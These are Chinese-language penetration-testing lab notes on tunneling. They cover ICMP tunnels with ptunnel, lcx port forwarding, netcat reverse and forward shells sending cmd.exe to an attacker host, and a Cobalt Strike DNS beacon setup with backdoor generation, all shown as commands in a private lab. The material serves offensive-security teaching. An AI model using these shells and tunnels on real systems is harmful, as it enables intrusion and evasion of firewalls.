思維導圖
必備知識點:
1.代理和隧道技術區別?
- 代理只是為了解決網絡通信問題,有些內網訪問不到,可以用代理實現
- 隧道不僅是解決網絡的通信問題,更大的作用是繞過過濾,突破防火牆/入侵檢測系統。
2.隧道技術為了解決什么?
- 防火牆過濾問題、網絡連接通信問題、數據回鏈封裝問題
- 在數據通信被攔截的情況下,可以利用隧道技術封裝改變通信協議進行繞過攔截。比如CS、MSF無法上線,數據傳輸不穩定無回顯,出口數據被監控,網絡通信存在問題等問題,都可以通過隧道技術解決。
3.隧道技術前期的必備條件?
- 在用隧道之前要先探測對應隧道協議是否支持,如果不支持,用這個隧道也沒有任何意義!
隧道原理
- 在實際的網絡中,通常會通過各種邊界設備、軟/硬件防火牆甚至入侵檢測系統來檢查對外連接情況,如果發現異樣,就會對通信進行阻斷。那么什么是隧道呢?這里的隧道,就是一種繞過端口屏蔽的通信方式。防火牆兩端的數據包通過防火牆所允許的數據包類型或端口進行封裝,然后穿過防火牆,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,並將還原后的數據包發送到相應服務器上。
常用的隧道技術有以下三種:
- 網絡層:IPv6 隧道、ICMP 隧道
- 傳輸層:TCP 隧道、UDP 隧道、常規端口轉發
- 應用層:SSH 隧道、HTTP/S 隧道、DNS 隧道
本課重點:
- 案例1:網絡傳輸應用層檢測連通性-檢測
- 案例2:網絡層ICMP隧道Ptunnel使用-檢測,利用
- 案例3:傳輸層轉發隧道Portmap使用-檢測,利用
- 案例4:傳輸層轉發隧道Netcat使用-檢測,利用,功能
- 案例5:應用層DNS隧道配合CS上線-檢測,利用,說明
案例1:網絡傳輸應用層檢測連通性-檢測
隧道有各種層面的,每個層面又分不同協議,你想要用哪個隧道,就需要先確定目標主機是否支持對應隧道協議。比如你想用一個網絡層的 ICMP 隧道,這個時候你要去檢測目標主機支不支持ICMP隧道的開啟。怎么檢測呢?可以使用ping命令去ping地址,看能不能正常通信,如果能的話就可以。
1.TCP 協議 用“瑞士軍刀”——netcat 執行 nc 命令:nc <IP> <端口> 2.HTTP 協議 用“curl”工具,執行curl <IP地址:端口>命令。 如果遠程主機開啟了相應的端口,且內網可連接外網的話,就會輸出相應的端口信息 3.ICMP 協議 用“ping”命令,執行ping <IP地址/域名> 4.DNS 協議 檢測DNS連通性常用的命令是“nslookup”和“dig” nslookup 是windows自帶的DNS探測命令 dig是linux系統自帶的DNS探測命令
案例2:網絡層ICMP隧道ptunnel使用-檢測,利用
kali2020-Target2-Target3 網上介紹的大部分都是老牌工具,ptunnel工具幾年前就沒有更新了,不推薦使用。 推薦pingtunnel,這個是一直在升級更新的一個工具。 老版本介紹:https://github.com/f1vefour/ptunnel(需自行編譯) 新版本介紹:https://github.com/esrrhs/pingtunnel(二次開發版) pingtunnel是把tcp/udp/sock5流量偽裝成icmp流量進行轉發的工具 為什么要轉換?因為tcp、udp、sock5這幾個協議受到防火牆和工具的攔截,這個工具就是把這些流量偽裝成icmp進行數據傳輸! 語法 -p ##表示連接icmp隧道另一端的機器IP(即目標服務器) -lp ##表示需要監聽的本地tcp端口 -da ##指定需要轉發的機器的IP(即目標內網某一機器的內網IP) -dp ##指定需要轉發的機器的端口(即目標內網某一機器的內網端口) -x ##設置連接的密碼 命令 Webserver:./ptunnel -x xiaodi Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi #轉發的3389請求數據給本地1080 Hacker xiaodi:rdesktop 127.0.0.1 1080
環境准備
我們要通過web主機實現對DC的控制,但是DC上面有防護的一些策略,此時可以嘗試使用隧道協議。
下面要實現用hacker xiaodi去連接DC,假設前期已知DC的賬號密碼,攻擊者希望通過自己的計算機hacker xiaodi連接到DC的3389,現在76.x是不可能去連接到33.33這台計算機的(可以在kali輸入命令:rdesktop 192.168.33.33,連接不上),因為他們不在一個網段。
現在我要實現請求連接DC的3389端口:先通過hackerxiaodi連接webserver的外網接口192.168.76.150,然后借助33網卡連接DC的33.33。
案例演示
<1>用“ping”命令檢測連通性,正常通信,說明支持 ICMP 協議,可以使用 ICMP 隧道。
<2>在webserver上開啟隧道,設置密碼為xiaodi。
Webserver:./ptunnel -x xiaodi
<3>在kali上執行以下命令,將webserver作為跳板,轉發目標主機3389請求數據給本地1080端口
Hacker xiaodi:./ptunnel -p 192.168.76.150 -lp 1080 -da 192.168.33.33 -dp 3389 -x xiaodi
上面命令的意思是請求192.168.76.150(webserver),請求到之后,自己監聽一下本地的1080,然后將33.33的3389數據,給到本地的1080。然后下一步就直接利用rdesktop連接本地的1080,實質就是連接33.33。
<4>在kali上執行以下命令,彈出遠程桌面
Hacker xiaodi:rdesktop 127.0.0.1 1080
這樣做有什么意義呢?原來3389連接遠程桌面,使用的是3389對應的協議,現在連接遠程桌面,流量數據傳輸就變成使用 ICMP 協議了。
案例3:傳輸層轉發隧道Portmap使用-檢測,利用
隧道技術:傳輸層端口轉發 工具: windows: lcx linux:portmap lcx是一個端口轉發工具,通過端口轉發的形式,將內網服務器的某一個端口映射到公網另一台服務器的一個端口上去! 下載:https://github.com/MrAnonymous-1/lcx 命令: DC(3.21):lcx -slave <攻擊 IP> 3131 127.0.0.1 3389 //將本地3389給攻擊IP的3131 webserver(3.31):lcx -listen 3131 3333 //監聽3131轉發至3333 kali:rdesktop 192.168.76.143:7777
環境准備
- 受害者內網的主機(無法出網,但是能和內網的主機進行交互):192.168.3.21(內網ip)
- 受害者內網的主機(跳板,能出網):擁有2個IP地址:192.168.3.31(內網ip)和192.168.76.143(外網ip)
- 攻擊者的外網服務器:192.168.76.X
案例演示
<1>在DC上執行以下命令,將本地3389給webserver的6666。
DC(3.21):lcx -slave 192.168.3.31 6666 127.0.0.1 3389
<2>在webserver上執行以下命令,監聽6666端口流量並轉發至7777
webserver(3.31):lcx -listen 6666 7777
<3>在webserver上執行以下命令,連接webserver的7777,登錄遠程桌面訪問,這里其實登錄的是域控DC的遠程桌面。
rdesktop 192.168.76.143:7777
登錄成功
案例4:傳輸層轉發隧道Netcat使用-檢測,利用,功能
netcat工具是windows和linux都能利用,但是用的時候一定要確保nc是最新版,linux是自帶這個命令,老版本有的不支持-e這個選項,很多功能會有限制。
netcat稱為瑞士軍刀的原因就是它利用起來非常方便,反彈會話是有很多方式的,可以利用多種協議去實現控制,因為我們在實戰過程中會有很多協議被封住被攔截,所以我們要掌握很多種控制的協議,實戰中就不會掉鏈子!
netcat使用的是TCP協議,所以如果受害主機沒有過濾TCP協議,我們就可以嘗試使用nc命令在傳輸層建立隧道連接實現與控制主機的通信。
nc命令復習:
環境准備:Kali2020-god\webserver-god\sqlserver|dc 1.雙向連接反彈shell 環境:攻擊主機webserver(3.31)-->受害主機DC(3.21) 正向-攻擊連接受害 受害:nc -ldp 1234 -e /bin/sh //linux(把shell會話反彈給1234端口) nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows(把cmd反彈給1234端口) 攻擊:nc 受害主機IP 1234 //主動連接 反向-受害連接攻擊 攻擊:nc -lvp 1234 //攻擊主機監聽自己的1234 受害:nc 攻擊主機IP 1234 -e /bin/sh nc 攻擊主機IP 1234 -e c:\windows\system32\cmd.exe 什么時候用正向,什么時候用反向? 這是根據網絡情況,如果受害主機可以找到你,就用反向,受害主機找不到你,就用正向。 2.多向連接反彈shell-配合轉發 環境:kali(76.132)-->webserver(3.31、76.143)-->sqlserver(3.32) 反向: god\Webserver:lcx.exe -listen 2222 3333 //把自己的2222端口給3333 god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe //把cmd反彈給webserver的2222端口 kali或本機:nc -v 192.168.76.143 3333 //連接Webserver的3333端口(獲取Sqlserver的cmd窗口數據) 思考:正向該怎么操作呢?實戰中該怎么選擇正向和反向? 3.相關netcat主要功能測試 指紋服務:nc -nv 192.168.76.143 端口掃描:nc -v -z 192.168.76.143 1-100 端口監聽:nc -lvp xxxx 文件傳輸:nc -lp 1111 >1.txt | nc -vn xx.xx.x.x 1111 <1.txt -q 1 反彈Shell:見上
案例演示1-正向(攻擊連接受害)
<1>在受害主機DC上執行以下命令,將自身的cmd窗口反彈給1234端口
DC上:nc -ldp 1234 -e c:\windows\system32\cmd.exe
<2>在攻擊主機webserver上執行以下命令,主動連接,成功反彈shell
webserver上:nc 192.168.3.21 1234
案例演示2-反向(受害連接攻擊)
<1>在攻擊主機webserver上執行以下命令,監聽1234端口
webserver:nc -lvp 1234
<2>在受害主機DC上執行以下命令,將自身的命令窗口給到webserver的1234端口
nc 192.168.3.31 1234 -e c:\windows\system32\cmd.exe
<3>在攻擊主機webserver上,成功反彈shell
案例演示3-多向連接反彈shell-配合轉發-反向
環境:kali(76.132)-->webserver(3.31、76.143)-->sqlserver(3.32)
<1>在Webserver上執行以下命令,把自己的2222端口給3333,並監聽
god\Webserver:lcx.exe -listen 2222 3333
<2>在Sqlserver上執行以下命令,把cmd反彈給webserver的2222端口
god\Sqlserver:nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
此時Webserver上監聽到會話
<3>在kali上執行以下命令,連接Webserver的3333端口,成功反彈shell,連接到Sqlserver。
kali或本機:nc -v 192.168.76.143 3333
案例5:應用層DNS隧道配合CS上線-檢測,利用,說明
當常見協議監聽器被攔截時,可以換其他協議上線,其中dns協議上線基本通殺
1.雲主機Teamserver配置端口53啟用-udp 2.買一個域名修改解析記錄如下: A記錄->cs主機名->CS服務器IP NS記錄->ns1主機名->上個A記錄地址 NS記錄->ns2主機名->上個A記錄地址 3.配置DNS監聽器內容如下: ns1.xiaodi8.com ns2.xiaodi8.com cs.xiaodi8.com 4.生成后門執行上線后啟用命令: beacon> checkin [] Tasked beacon to checkin beacon> mode dns-txt [+] data channel set to DNS-TXT [+] host called home, sent: 8 bytes beacon> shell whoami [] Tasked beacon to run: whoami [+] host called home, sent: 53 bytes [+] received output: xiaodi-pc\xiaodi
應用層是在實戰中經常用到的,之前兩個層面會經常被防火牆攔截(網絡/傳輸層),下面用DNS隧道來實現 cs上線。
cs的監聽器對應着后門綁定的協議。常規是用http上線,dns比http速度要慢。當常見協議監聽器被攔截時,可以換其他協議上線,其中dns協議上線基本通殺。因為dns是域名解析,這個協議一般都不會被攔截,數據通過dns協議給出去,一般也不會被攔截!
我們在生成監聽器的時候有個payload,可以選擇不同的協議。網上還有插件,還可以有很多其他協議。
案例演示
<1>雲主機Teamserver配置端口53啟用-udp(只有阿里雲主機有這個端口問題,其他主機一般沒有)
<2>買一個域名修改解析記錄如下:
- A記錄->cs主機名->CS服務器IP
- NS記錄->ns1主機名->上個A記錄地址
- NS記錄->ns2主機名->上個A記錄地址
<3>配置DNS監聽器內容如下:ns1.xiaodi8.com、ns2.xiaodi8.com、cs.xiaodi8.com
<4>配置完之后,啟動監聽器,如下
<5>生成后門,attacks-->packages-->windows executable(s)-->listener選擇dns上線,勾選-->選擇后門生成位置-->生成后門(dns_x.exe)
<6>將后門上傳到webserver,執行。執行后門后,cs出現一個黑窗口。
<7>點擊小圖標,出現unknown主機,原因是我們使用DNS上線,DNS速度特別慢。此時我們需要再敲幾條命令才能實現控制。
<8>右擊unknown主機,選擇interact,啟用命令。執行以下命令,等待一會兒就會上線成功
beacon> checkin beacon> mode dns-txt
一直沒有成功,換本機測試,上線成功
等待了許久,終於上線成功。圖標上有閃電,說明對應的阿里雲主機上存在一些防護措施。
隧道技術其實就是不斷變換協議,走不同協議來實現數據通信!!!